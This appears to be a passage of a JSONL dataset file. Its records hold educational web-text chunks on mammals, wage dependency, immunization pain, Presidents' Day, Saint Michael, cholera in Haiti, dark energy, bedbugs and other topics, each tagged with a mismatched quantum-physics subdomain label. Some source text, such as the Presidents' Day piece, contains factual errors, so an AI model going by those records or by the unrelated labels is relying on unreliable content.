pdf version ) - vaughan, terry a., james m. ryan, and nicholas j. capzaplewski. 2000. mammalogy : fourth edition. saunders college publishing, 565 pp. isbn 0 - 03 - 025034 - x ( brooks cole, 1999 ) - jan ole kriegs, gennady churakov, martin kiefmann, ursula jordan, juergen brosius, juergen schmitz. ( 2006 ) retroposed elements as archives for the evolutionary history of placental mammals. plos biol 4 ( 4 ) : e91. plos biology - retroposed elements as archives for the evolutionary history of placental mammals. biology. plosjournals. org. url accessed on 2009 - 03 - 08. - david macdonald, sasha norris. 2006. the encyclopedia of mammals, 3rd edition. printed in china, 930 pp. isbn 0 - 681 - 45659 - 0. - globaltwitcher. com - all species in the world with distribution maps and images - north american fossil mammal systematics database - paleocene mammals, a site covering the rise of the mammals - evolution of mammals, a brief introduction to early mammals - tree of life poster - shows mammals ' evolutionary relation to other organisms - the evolution of mesozoic mammals, a rough sketch, an informal introduction - carnegie museum of natural history, some discoveries of early mammal fossils - mammal taxonomy, database of mammals of the world, updated each month - high - resolution images of various mammalian brains - mammal species, collection of information sheets about various mammal species - summary of molecular support for epitheria - mikko ' s phylogeny archive - european mammal atlas emma from societas europaea mammalogica - marine mammals of the world \u2014 an overview of all marine mammals, including descriptions, multimedia and a key - mammalogy. org the american society of mammalogists was established in 1919 for the purpose of promoting the study of mammals, and this website includes a mammal image library extant mammal orders by infraclass afrosoricida \u00b7 macroscelidea \u00b7 tubulidentata \u00b7 hyracoidea \u00b7 proboscidea \u00b7 sirenia \u00b7 cingulata \u00b7 pilosa \u00b7 scandentia \u00b7 dermoptera \u00b7 primates \u00b7 rodentia \u00b7 lagomorpha \u00b7 erinaceomorpha \u00b7 soricomorpha \u00b7 chiroptera \u00b7 pholidota \u00b7 car", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49683604711639545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.672931"} {"text": "wage dependency and vulnerability through the first half of the nineteenth century america was a nation of farmers, shopkeepers, and small businessmen living in small towns. capitalism was local and commercial, rather than national and industrial, and the family was a self - sustaining economic unit. family members worked largely within the confines of the household, on the family ' s land, or in the family ' s shop or other small business. gradually, however, technological development and increases in economic centralization and differentiation combined to erode households ' self - sufficiency. more people began to work outside the family for wages or salary. and as needs came to be more commonly supported by participation in the labor market, fewer families held their own land or other businesses. today, only a small fraction of americans owns household - sustaining property. the vast majority of us, including many professional and managerial people, are dependent for our livelihoods on selling our labor in the market. wage dependency creates the preconditions for wage vulnerability. any disruption in wages threatens a worker ' s ability to meet basic needs. and many disruptions to participation in the labor market \u2014 disabling injury, aging, recession, plant closings due to loss of international competitiveness \u2014 lie beyond the control of an individual worker. even households in the top quintile of income distribution are not immune to such hazards. only the very wealthiest households can sustain themselves over lengthy periods without labor market participation and without recourse to outside assistance, such as public social programs. other trends characteristic of advanced industrial societies reinforce the problems of wage dependency and vulnerability. as people go to work for others, they tend to move from rural to urban environments, and urban settings afford fewer opportunities for household production of food and shelter. additionally, the nuclear family, itself an adaptation to urban industrial society, has been splintered by desertion and divorce, events that often leave women and their children without a source of adequate income. new households based on remarriage, sibling ties, and friendships have reduced some, but by no means all, of these difficulties. finally, as life expectancies increase well beyond society ' s conception of the duration of people ' s economic usefulness, a growing proportion of elderly people find themselves excluded from regular participation in the labor market. in addition to these trends associated with wage dependency and vulnerability, the prices of customary and essential services have far outpaced normal income levels. the rural household of the early nineteenth century was largely self - sufficient not only with respect to basic goods but also with", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4989002387156878, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.677702"} {"text": "addition to these trends associated with wage dependency and vulnerability, the prices of customary and essential services have far outpaced normal income levels. the rural household of the early nineteenth century was largely self - sufficient not only with respect to basic goods but also with respect to services. for example, home remedies were the rule for illness or injury, in part because of the expense of hiring a physician, particularly the cost of transportation, but in part because a professional healer could not always be expected to achieve results more encouraging than those of a layperson. today, in contrast, the efficacy of sophisticated medical services is far superior to lay remedies, and people who cannot acquire access to the most crucial of these services cannot successfully claim full membership in contemporary society. indeed, in a wage - dependent economy, individuals rely heavily on medical care to cure the illnesses or injuries that disrupt their ability to earn a living. yet while medical care is increasingly important, it is also extremely expensive, beyond the reach of most people ' s incomes. the fortunate have their medical bills paid for by private insurance or public social programs ; the unfortunate often go without even the most basic care. in sum, an intrinsic characteristic of advanced industrial societies is that families are no longer independent economic units. in light of the family ' s loss of self - sufficiency, modern societies have created social programs to provide a measure of protection for their citizens. in the united states, as in other advanced industrial societies, these social programs are intended to cushion people against episodic disruptions of income as well as to sustain people whose economic resources are persistently insufficient.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48140990683903073, "token_count": 326, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.679729"} {"text": "the present study examined mothers \u2019 conceptualization and management of pain in their children during routine immunization. all of the participants found the immunization experience to be distressing. they minimized their concern regarding pain by focusing on the benefits of immunization and dismissing the pain as short lived and needing to be endured. participants reported the use of non - pharmacological analgesic techniques, such as distraction, to comfort their children. when medications were used, it was usually oral analgesics to prevent or treat vaccine fevers occurring after immunization. participants were largely unaware about topical anesthetics. they expressed a willingness to use them if endorsed by their physicians, who were identified as their main trusted source of pain management information. these findings are consistent with our previous data ( regarding pain management practices during immunization ) that demonstrate a gap between evidence - based recommendations of topical anesthetics and current practices ( 6 ). these findings also reflect the broader literature on pain management that addresses the role of societal attitudes in the under - treatment of pain ( 10 ) such as the relative unimportance given to pain compared with other ailments ( such as fever ) ( 11 ), views about pain as a necessary part of life experience, the notion that pain is a part of immunization and a short - lived experience, and concerns about over - medication with analgesics leading to tolerance or addiction ( 13 previous research has shown that the rate of vaccination deferral is associated with the number of vaccine injections due to be administered at a visit ( 15 ). interestingly, some participants in the present study attributed pain to fear rather than the other way around. fear occurs if a child assesses a situation as threatening and, with respect to needles, develops primarily through negative memories formed during past experiences with needles ( 17 ). fear can magnify the pain experienced by children during subsequent immunizations. all mothers reported using nonpharmacological methods to reduce pain during their children \u2019 s immunizations. psychological interventions such as distraction are effective in reducing immunization pain ; however, they depend on the ability of adults to effectively engage a child \u2019 s attention ( 18 ). parental interventions can attenuate child pain and distress ; however, parents do not reliably use them, and previous training is recommended. while these findings might seem intuitive, they point to the need to critically re - examine and question the current assumptions and practices. pain relief is considered a \u2018 basic human", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5296999411030567, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.684966"} {"text": "however, parents do not reliably use them, and previous training is recommended. while these findings might seem intuitive, they point to the need to critically re - examine and question the current assumptions and practices. pain relief is considered a \u2018 basic human right \u2019 ( 19 ), and the fundamental principle of responsible medical care is to \u2018 first do no harm \u2019 ( 20 ). given the solid evidence base for the effectiveness and safety of topical anesthetics in children ( 5 ), there is clearly a need to study whether parents, health care practitioners and policymakers are participating in a social construction of pain management, and whether children would benefit from a critical reflection and analysis of this issue. as noted in the introduction, there are a range of factors that affect whether change occurs ( and the extent of change ) in health care ( 7 ). in previous studies ( 6 ), we have documented that parents are capable of administering topical anesthetics in their children and are willing to pay for analgesics to reduce immunization pain in their children. parents are willing to pay more than the actual cost of topical anesthetics ( approximately $ 5 to $ 8 per dose ). on the other hand, according to our findings, using topical anesthetics is not compatible with prevailing norms and values. for example, participants \u2019 physicians did not provide information about their use and there is a prevailing value of accepting and enduring the \u2018 short - term \u2019 pain of immunization. there is also a lack of knowledge about topical anesthetics and they are not discussed during the physician visit. the present article is an initial step toward examining attitudes and practices, and how interventions can be developed to enable the use of evidence - based practices that minimize pain and the resulting implications. because physicians were identified as trusted sources of information, strategies are needed to support them as pain management educators. qualitative studies are currently being conducted with health care professionals ( including paediatricians, family practice physicians, clinic nurses and public health nurses ) performing vaccine injections to provide insight into their attitudes toward pain and preferred education strategies and resources that would enable them to educate their patients and families and support evidence - based pain management practice changes. the qualitative methods used allowed an in - depth exploration of participants \u2019 opinions, which has not previously been done. credibility of findings was improved by the use of multiple coders, checking emergent codes with participants in subsequent interviews, and validation of interviews by content and method experts. the number of interviews is indicative", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5096874441365163, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.686004"} {"text": "participants \u2019 opinions, which has not previously been done. credibility of findings was improved by the use of multiple coders, checking emergent codes with participants in subsequent interviews, and validation of interviews by content and method experts. the number of interviews is indicative of the time - intensive nature of qualitative research, and the achievement of saturation of key themes suggests that the number of interviews was sufficient. it is possible that the timing of the interview \u2013 during the women \u2019 s stay at hospital following the birth of their baby \u2013 might have affected the findings, but the consistency of the findings with other research minimizes this concern. the findings are limited to a sample of women located in a downtown hospital. we do not know how the results would compare for women living in a rural or remote setting, as well as for fathers. many fathers accompany their children to immunization appointments and they may have attitudes that are different from mothers. we chose to initially investigate mothers due to our experience with mothers as the primary caregivers involved in immunization appointments. in many regions of canada, physicians, particularly paediatricians, play a minor or no role in the administration of routine vaccines provided through publicly funded programs. it will be important to conduct additional studies to examine attitudes toward and practices regarding pain management during immunization with different groups and within the context of different health care and geographical settings.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5065559291497093, "token_count": 280, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.686583"} {"text": "what is president \u2019 s day? today marks the annual holiday known as president \u2019 s day. however, many people don \u2019 t know exactly what the holiday represents and entails, or even where it originated from. so sit back like you \u2019 re in grade school again and read about one of the many holidays that are so important you don \u2019 t even get mail because of. president \u2019 s day was originally named solely for the nation \u2019 s first president, george washington, who was born on february 22, 1732. the holiday always takes place on the third monday in february, as it is the day that is closest to washington \u2019 s birthday. however, up until 1971, it was always celebrated on february 22, until the uniform monday holiday act was passed into congress. this caused a minor fluke, because it was no longer technically \u201c washington \u2019 s birthday, \u201d as since 1971, the holiday always falls between the 15th and 21st. then, low and behold, many decades and 15 presidents later came abraham lincoln, perhaps the second best, and most renowned president of the united states. he was born just ten days before washington, on february 12, 18o9. his great efforts as president made him just as deserving as washington of a special day. prior to the holiday act, lincoln was always celebrated on his day of birth. when the act was passed, however, controversies were brought to the surface. the single holiday observance meant that the traditional 10 - day separation between washington \u2019 s birthday ( february 22 ) and lincoln \u2019 s birthday ( february 12 ) had essentially been eliminated. however, while congress had created a uniform federal holiday law, there was not a uniform holiday title agreement among the individual states. even though most states with individual holidays honoring washington and lincoln shifted their state recognition date of washington \u2019 s birthday to correspond to the third monday in february, some states, including california, idaho, tennessee, texas and others, chose not to retain the federal holiday title and renamed their state holiday \u201c president \u2019 s day. \u201d this seemed to solve the issue, and to this day the holiday has always taken place on the third monday, and the term \u201d president \u2019 s day \u201d took hold and is still grabbing on. however, in some parts of the country, certain groups still recognize washington and lincoln separately. in westmoreland county, virginia, the george washington birthplace national monument celebrates the first u. s. president every year on his birthday, as well as on president \u2019 s day. special colonial events and activities take place", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4018923868107074, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.690171"} {"text": "recognize washington and lincoln separately. in westmoreland county, virginia, the george washington birthplace national monument celebrates the first u. s. president every year on his birthday, as well as on president \u2019 s day. special colonial events and activities take place throughout the entire day. mount vernon also celebrates his birthday the weekend before and on president \u2019 s day, which is known as an annual free day. this usually lures between 10, 000 and 18, 000 visitors on the monday alone. for lincoln, annual activities include : a february 12th wreath - lying ceremony at the abraham lincoln birthplace national historic site in hodgenville, kentucky ; lincoln day, which is celebrated at the lincoln boyhood national memorial in lincoln city, indiana on the sunday nearest to his birthday, in which a special ceremony takes place at abraham lincoln hall, which is followed by a similar wreath - lying ceremony at lincoln \u2019 s mother \u2019 s grave site. special birthday programs at the lincoln home national historic site in springfield, illinois also take place each year. some people believe that other past presidents deserve to be honored as well, so for those individuals, other events take place. other events, such as closings and sales also take place today. for events happening near you, go to your town \u2019 s website for all the information. so now that you know where president \u2019 s day originated from and what it stands for, what will you do today to commemorate the men who made our country what it is today? you wouldn \u2019 t be who you are or have all the rights and freedom that you have if it weren \u2019 t for our past presidents, so find some way to thank and honor them today.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.3904955227275628, "token_count": 336, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.690859"} {"text": "hebrew : \u201c who is like god? \u201d saint michael is one of the principal angels ; his name was the war - cry of the good angels in the battle fought in heaven against the enemy and his followers. four times his name is recorded in scripture : - ( 1 ) daniel 10 : 13 sqq., gabriel says to daniel, when he asks god to permit the jews to return to jerusalem : \u201c the angel [ d. v. prince ] of the kingdom of the persians resisted me... and, behold michael, one of the chief princes, came to help me \u2026 and none is my helper in all these things, but michael your prince. \u201d - ( 2 ) daniel 12, the angel speaking of the end of the world and the antichrist says : \u201c at that time shall michael rise up, the great prince, who standeth for the children of thy people. \u201d - ( 3 ) in the catholic epistle of saint jude : \u201c when michael the archangel, disputing with the devil, contended about the body of moses \u201d, etc. saint jude alludes to an ancient jewish tradition of a dispute between michael and satan over the body of moses, an account of which is also found in the apocryphal book on the assumption of moses. saint michael concealed the tomb of moses ; satan, however, by disclosing it, tried to seduce the jewish people to the sin of hero - worship. saint michael also guards the body of eve, according to the \u201c revelation of moses \u201d. - ( 4 ) apocalypse 12 : 7, \u201c and there was a great battle in heaven, michael and his angels fought with the dragon. \u201d saint john speaks of the great conflict at the end of time, which reflects also the battle in heaven at the beginning of time. according to the fathers there is often question of saint michael in scripture where his name is not mentioned. they say he was the cherub who stood at the gate of paradise, \u201c to keep the way of the tree of life \u201d ( genesis 3 : 24 ), the angel through whom god published the decalogue to his chosen people, the angel who stood in the way against balaam ( numbers 22 : 22 sqq. ), the angel who routed the army of sennacherib ( 2 kings 19 : 35 ). following these scriptural passages, christian tradition gives to saint michael four offices : - to fight against satan. - to rescue the souls of the faithful from the power of the enemy, especially at the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39647913066362495, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.699395"} {"text": ", particularly of saint michael. tradition relates that saint michael in the earliest ages caused a medicinal spring to spout at chairotopa near colossae, where all the sick who bathed there, invoking the blessed trinity and saint michael, were cured. still more famous are the springs which saint michael is said to have drawn from the rock at colossae ( chonae, the present khonas, on the lycus ). the pagans directed a stream against the sanctuary of saint michael to destroy it, but the archangel split the rock by lightning to give a new bed to the stream, and sanctified forever the waters which came from the gorge. the greeks claim that this apparition took place about the middle of the first century and celebrate a feast in commemoration of it on 6 september. also at pythia in bithynia and elsewhere in asia the hot springs were dedicated to saint michael. at constantinople likewise, saint michael was the great heavenly physician. his principal sanctuary, the michaelion, was at sosthenion, some fifty miles south of constantinople ; there the archangel is said to have appeared to the emperor constantine. the sick slept in this church at night to wait for a manifestation of saint michael ; his feast was kept there 9 june. another famous church was within the walls of the city, at the thermal baths of the emperor arcadius ; there the synaxis of the archangel was celebrated 8 november. this feast spread over the entire greek church, and the syrian, armenian, and coptic churches adopted it also ; it is now the principal feast of saint michael in the orient. it may have originated in phrygia, but its station at constantinople was the thermae of arcadius. other feasts of saint michael at constantinople were : 27 october, in the \u201c promotu \u201d church ; 18 june, in the church of saint julian at the forum ; and 10 december, at athaea. the christians of egypt placed their life - giving river, the nile, under the protection of saint michael ; they adopted the greek feast and kept it 12 november ; on the twelfth of every month they celebrate a special commemoration of the archangel, but 12 june, when the river commences to rise, they keep as a holiday of obligation the feast of saint michael \u201c for the rising of the nile \u201d, euche eis ten symmetron anabasin ton potamion hydaton. at rome the leonine sacramentary ( sixth century ) has the \u201c natale basilicae", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.39263871602222705, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.701460"} {"text": "feast of saint michael \u201c for the rising of the nile \u201d, euche eis ten symmetron anabasin ton potamion hydaton. at rome the leonine sacramentary ( sixth century ) has the \u201c natale basilicae angeli via salaria \u201d, 30 september ; of the five masses for the feast three mention saint michael. the gelasian sacramentary ( seventh century ) gives the feast \u201c s. michaelis archangeli \u201d, and the gregorian sacramentary ( eighth century ), \u201c dedicatio basilionis s. angeli michaelis \u201d, 29 september. a manuscript also here adds \u201c via salaria \u201d. this church of the via salaria was six miles to the north of the city ; in the ninth century it was called basilica archangeli in septimo. it disappeared a thousand years ago. at rome also the part of heavenly physician was given to saint michael. according to an ( apocryphal? ) legend of the tenth century he appeared over the moles hadriani ( castel di san angelo ), in 950, during the procession which saint gregory held against the pestilence, putting an end to the plague. boniface iv ( 608 - 15 ) built on the moles hadriani in honour of him, a church, which was styled saint michaelis inter nubes ( in summitate circi ). well known is the apparition of saint michael ( c. 494 or 530 - 40 ), as related in the roman breviary, 8 may, at his renowned sanctuary on monte gargano, where his original glory as patron in war was restored to him. to his intercession the lombards of sipontum ( manfredonia ) attributed their victory over the greek neapolitans, 8 may, 663. in commemoration of this victory the church of sipontum instituted a special feast in honour of the archangel, on 8 may, which has spread over the entire latin church and is now called ( since the time of pius v ) \u201c apparitio s. michaelis \u201d, although it originally did not commemorate the apparition, but the victory. in normandy saint michael is the patron of mariners in his famous sanctuary at mont - saint - michel in the diocese of coutances. he is said to have appeared there, in 708, to saint aubert, bishop of avranches. in normandy his feast \u201c s. michaelis in periculo maris \u201d or", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3587395934964928, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.702434"} {"text": "- michel in the diocese of coutances. he is said to have appeared there, in 708, to saint aubert, bishop of avranches. in normandy his feast \u201c s. michaelis in periculo maris \u201d or \u201c in monte tumba \u201d was universally celebrated on 18 oct., the anniversary of the dedication of the first church, 16 october 710 ; the feast is now confined to the diocese of coutances. in germany, after its evangelization, saint michael replaced for the christians the pagan god wotan, to whom many mountains were sacred, hence the numerous mountain chapels of saint michael all over germany. the hymns of the roman office are said to have been composed by saint rabanus maurus of fulda ( died 856 ). in art saint michael is represented as an angelic warrior, fully armed with helmet, sword, and shield ( often the shield bears the latin inscription : quis ut deus ), standing over the dragon, whom he sometimes pierces with a lance. he also holds a pair of scales in which he weighs the souls of the departed, or the book of life, to show that he takes part in the judgment. his feast ( 29 september ) in the middle ages was celebrated as a holy day of obligation, but along with several other feasts it was gradually abolished since the eighteenth century. michaelmas day, in england and other countries, is one of the regular quarter - days for settling rents and accounts ; but it is no longer remarkable for the hospitality with which it was formerly celebrated. stubble - geese being esteemed in perfection about this time, most families had one dressed on michaelmas day. in some parishes ( isle of skye ) they had a procession on this day and baked a cake, called saint michael \u2019 s bannock.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3596283556516479, "token_count": 369, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.703110"} {"text": "safe water and sanitation, vital tools to combat the current cholera epidemic, are absent in most communities in haiti, reports irin. the death toll rose to 501 on 6 november 2010, up from 442 on 3 november, and hospitalisations for cholera totaled 7, 359, up from 6, 742. haiti is one of the few countries in the world where both urban and rural sanitation coverage has steadily decreased between 1990 and 2008, according to the who / unicef joint monitoring programme ( jmp ) for water supply and sanitation ( who / unicef, march 2010 ). historical legacies of inequality, corruption, and extreme poverty all contribute to the haitian government \u2019 s systemic inability to deliver safe water and sanitation. in the village of deslandes in the petite riviere d \u2019 artibonite district, there is one well for 600 people that rarely functions, there are no toilets and reaching the nearest health centre requires crossing a river. most people use the river artibonite \u2013 thought to be the source of the epidemic \u2013 as their primary source of drinking, bathing and laundry water. \u201c everyone uses the river, \u201d resident melinda sineas told irin. \u201c but the river is dangerous now. \u201d in deslandes, open defecation is the rule. \u201c when people get sick they relieve themselves in the woods like all of us, \u201d deslandes resident ovid floville, 50, told irin. \u201c [ once they are too weak ] and cannot stand any more, they stay at home and their whole body gets covered in diarrhoea. \u201d he said people scrub their homes with river water. ngos have brought bleach and other supplies to nearby villages but deslandes is isolated and access difficult, noted local pastor solomon tomas. in the absence of safe water and sanitation, ngos like the boston - based partners in health ( pih ) are trying to cope by handing out soap and water purification tablets. pih and three other institutions in 2008 published a report about the widespread lack of access to clean water in haiti. this lack, the report said, \u201c ranks as one of haiti \u2019 s most significant obstacles when it comes to meeting basic human rights standards. historical legacies of inequality, disempowered or corrupt governance, and persistent levels of extreme poverty have all contributed to the haitian government \u2019 s systemic inability to deliver clean water to its people. \u201d [ pih chief medical officer joia mukherjee ] said developing a water and sanitation system must be the job of government.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.38003512388356264, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.705810"} {"text": "joint dark energy mission program ( s ) : physics of the cosmos take all the stars, all the planets and everything we can see and detect with telescopes and add them all up. that total will represent only four percent of the universe. if the universe came with a list of ingredients, the ordinary atoms that make up stars, trees and animals would be at the bottom of the label, like some exotic spice. nearly 25 percent of the universe takes the form of dark matter, a mysterious substance that seems to be intrinsically different from ordinary atoms. and the rest, a whopping 70 percent of the universe, is a mysterious quantity we call dark energy. as a comparison, remember that about 70 percent of the earth ' s surface is covered with water. imagine not knowing what water is! that ' s the situation we ' re in with dark energy. the observations that first led to this confusing situation were the observations of the velocities of distant supernovae. the key is that, as we look at supernovae far away, we are seeing them as they were long ago. the fact that they were moving away from us more slowly than expected showed that the expansion of the universe, instead of slowing due to gravity, was actually accelerating. no known component of the universe could have caused this acceleration. suggestions for unknown components have included a new kind of fluid, called \" quintessence, \" an unexpected property of the vacuum of empty space, or a fundamental modification of einstein ' s theory of gravity. whatever the final explanation may be, it will revolutionize our understanding of the physics of the universe. the national academy of sciences has stated that the nature of dark energy is probably the most important question in astronomy today. it has been called the deepest mystery in physics, and its resolution is likely to greatly advance our understanding of matter, space, and time. in response to recommendations by the national academy of sciences, nasa and the doe spent several years working together to evaluate a possible future mission which would study the expansion history of the universe. however, a result of the 2010 decadal report was that jdem was not selected as one of the ranked recommendations. the new wfirst observatory was instead recommended to settle the essential questions in both dark energy and exoplanet research. last updated : june 6, 2012", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5957490930587663, "token_count": 470, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.709259"} {"text": "new research from norris cotton cancer center estimates, for the first time, the impact of an r rating for movie smoking. james sargent, md, co - director of the cancer control research program at norris cotton cancer center, emphasizes that an r rating for any film showing smoking could substantially reduce smoking onset in u. s. adolescents \u2014 an effect size similar to making all parents maximally authoritative in their parenting, sargent says. \u201c smoking is a killer. its connection to cancer, heart attacks, and chronic lung disease is beyond doubt. kids start to smoke before they \u2019 re old enough to think about the risks ; after starting they rapidly become addicted and then regret it. hollywood plays a role by making smoking look really good, \u201d says sargent. \u201c by eliminating smoking in movies marketed to youth, an r rating for smoking would dramatically reduce exposure and lower adolescent smoking by as much as one - fifth. \u201d the study, \u201c influence of motion picture rating on adolescent response to movie smoking \u201d ( pediatrics, vol. 130, no. 2, august 2012 ), enrolled a total 6, 522 u. s. adolescents in a longitudinal survey conducted at eight - month intervals. movie smoking exposure ( mse ) was estimated from 532 recent hit movies, categorized into three of the ratings brackets used by the motion picture association of america to rate films by content \u2013 g / pg, pg - 13, and r. median mse from pg - 13 movies was approximately three times higher than median mse from r - rated films but their relation to smoking was essentially the same. the investigators were able to show that adolescent smoking would be reduced by 18 percent if smoking in pg - 13 movies was largely eliminated, all else being equal. \u201c the equivalent effect of pg - 13 - rated and r - rated mse suggests it is the movie smoking that prompts adolescents to smoke, not other characteristics of r - rated movies or adolescents drawn to them, \u201d the study concludes. \u201c we \u2019 re just asking the movie industry to take smoking as seriously as they take profanity when applying the r rating, \u201d comments sargent, who is also professor of pediatrics at the geisel school of medicine at dartmouth. \u201c the benefit to society in terms of reduced healthcare costs and higher quality of life is almost incalculable. \u201d", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4528711601006788, "token_count": 466, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.711707"} {"text": "explain to your counselor the injuries that could occur while fishing and the proper treatment, including cuts, scratches, puncture wounds, insect bites, hypothermia, dehydration, and heat reactions. explain how to remove a hook that has lodged in your arm. name and explain five safety practices you should always follow while fishing. learn and explain the differences between two types of fishing outfits. point out and identify the parts of several types of rods and reels. explain how and when each would be used. review with your counselor how to care for this equipment. demonstrate the proper use of two different types of demonstrate how to tie the following knots : clinch, palomar, turle, blood loop ( barrel knot ), and the surgeon ' s loop. explain how each knot is used and when to use it. name and identify five basic artificial lures and five natural baits and explain how to fish with them. explain why bait fish are not to be released. explain the importance of practicing leave no trace and how it positively affects fishing resources. give the regulations affecting game fishing where you live. explain why they were adopted and what you accomplish by following explain what good outdoor sportsmanlike behavior is and how it relates to fishermen. tell how the outdoor code of the boy scouts of america relates to a fishing sports enthusiast, including the aspects of littering, trespassing, courteous behavior, and obeying fishing catch two different kinds of fish and identify them. release at least one of them unharmed. clean and cook another fish.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43047942258893696, "token_count": 311, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.714893"} {"text": "welcome to grammar day at seriously write. do you ever wonder whether you should use a numeral or spell out the number? today, we \u2019 re going to look at rules and examples that will hopefully alleviate some confusion. rule 1 : in books, spell out whole numbers one through one hundred, as well as round numbers. examples : i would like three copies. i would like one hundred copies. i would like 101 copies. in articles, spell out whole numbers below 10 ; use numbers for 10 and above. examples : there are nine people on the team. there will be 12 people on the team. rule 2 : be consistent within a category. examples : out of 10 apples, i found 2 rotten ones. out of ten apples, i found two rotten ones. rule 3 : if you have numbers in different categories, use numerals for one category and spell out the other. examples : it takes 7 peaches to make one pie and 12 apples to make two pies. i purchased 15 tickets for my seven employees. i have 10 toes but only two feet. rule 4 : spell out simple fractions and use hyphens with them. examples : one - half of the casserole was eaten. a two - thirds majority is required for that bill to pass. rule 5 : a mixed fraction can be expressed in figures unless it \u2019 s the first word in a sentence. examples : he cranked the wheel around 5 \u00bd times. five and one - half pieces of cake were left. rule 6 : write decimals in figures. put a zero in front of a decimal unless the decimal itself begins with a zero. examples : he moved the hook 0. 55 inches to the right. then he moved it. 09 inches to the left. rule 7 : never start a sentence with a numeral. correct : they sold 124 hotdogs. correct : one hundred twenty - four hotdogs were sold. incorrect : 124 hotdogs were sold. rule 8 : if you \u2019 re writing out decades with incomplete numerals, put an apostrophe before the incomplete numeral, but not between the year and the s. correct : do you prefer music from the \u2019 80s or the \u2019 90s? incorrect : do you prefer music from the \u2019 80 \u2019 s or the \u2019 90 \u2019 s? the chicago manual of style and the ap stylebook were used as references.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45643946769256943, "token_count": 485, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.717171"} {"text": "sleep tight, don ' t let the bedbugs bite! posted : september 3, 2010 just reading about bedbugs may make you start itching, but they ' re working their way across the country - they ' ve already hit columbus - so at the risk of totally grossing you out, here ' s everything you need to know about these creepy little critters. what are they? bed bugs ( cimex lectularius ) are external parasites that feed on blood. adults are reddish - brown, oval - shaped and about the size of an apple seed. they prefer human blood, but can feed off of rodents, bats, birds, and pets in a pinch. they can live 12 - 18 months and can survive up to a year without a meal. they can ' t fly. they feed at night and hide during the day. where do they hide? bedbugs rarely hang out on the surfaces of beds or chairs. they like cracks and crevices in mattresses, cushions, bed frames, and floor boards. female bed bugs deposit 1 - 12 eggs per day in these areas, which hatch in 4 - 10 days. can they hurt me? not really. the bites themselves are usually painless, but can cause itchy, red, bumps about the size of a pencil eraser. in rare cases, the bites can get infected or cause a severe allergic reaction, but usually they go away on their own. even though they feed on blood, as far as we know bed bugs do not transmit disease. there have been no reported cases of a bed bug feeding off of one person with hiv or hepatitis ( or any other infectious blood - borne disease ) and passing it to another person by feeding on them. researchers aren ' t exactly sure why this is, but they ' re trying to figure it out. how can i tell if they ' re on me or in my room? the itchy red bumps caused by bed bugs are usually in a line because the bug walks and feeds at the same time. you will also often see blood stains from crushed bugs on sheets or clothing, and little black spots of bedbug poop on mattresses, pajamas and along floorboards. if you find a bug, the ohio department of health offers an insect identification service. the ohio state university extension office also has a plant and pest diagnostic clinic that can identify it for you. what do i do if i think i have them in my room or apartment? do not try to get rid of them yourself. bug", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41119647750582, "token_count": 512, "source_dataset": 